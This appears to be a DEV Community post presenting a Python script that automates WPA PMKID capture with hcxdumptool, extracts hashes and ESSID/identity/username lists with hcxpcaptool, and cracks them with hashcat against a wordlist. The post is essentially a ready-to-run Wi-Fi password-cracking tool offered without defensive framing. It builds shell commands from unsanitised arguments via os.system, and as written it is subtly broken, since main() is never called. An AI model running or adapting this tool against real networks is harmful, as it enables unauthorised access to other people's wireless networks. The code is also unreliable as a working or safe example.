DEV Community

Austin
Austin

Posted on • Edited on

2

Autonomous PMK scanner and cracker.

PMK Scanner and Cracker in Python

#!/usr/bin/python3

import os
import sys
import argparse
import time

class getPMKID:
    def __init__(self,iface,output,wordlist):
        self.iface = iface
        self.output = output
        self.wordlist = wordlist

    def main(self):
        if self.iface is None or self.output is None or self.wordlist is None:
            print('arguments must not be blank')
            sys.exit(0)

        print('MAKE SURE TO BE IN MONITOR MODE AND CHANGE OUTPUT NAME IF CODE IS RUN MULTIPLE TIMES IN THE SAME DIRECTORY...')
        time.sleep(3)
        print('creating pcapng.... press ctrl-c to stop captures')
        os.system(f'hcxdumptool -i {self.iface} -o {self.output}.pcapng --enable_status=1')
        print('generating essid list and hash list...')
        os.system(f'hcxpcaptool -E essidlist -I identitylist -U usernamelist -z {self.output}.16800 {self.output}.pcapng')
        print('done ...')
        os.system(f'hashcat -m 16800 {self.output}.16800 -o {self.output}_cracked.txt -a 0 -w 4 --force "{self.wordlist}"')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-i',dest="interface")
    parser.add_argument('-o',dest="output")
    parser.add_argument('-w',dest="wordlist")

    args = parser.parse_args()

    bot = getPMKID(args.interface,args.output,args.wordlist)
    print('Cracking PMKID')



Enter fullscreen mode Exit fullscreen mode

Heroku

Simplify your DevOps and maximize your time.

Since 2007, Heroku has been the go-to platform for developers as it monitors uptime, performance, and infrastructure concerns, allowing you to focus on writing code.

Learn More

Top comments (0)

Postmark Image

Speedy emails, satisfied customers

Are delayed transactional emails costing you user satisfaction? Postmark delivers your emails almost instantly, keeping your customers happy and connected.

Sign up

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay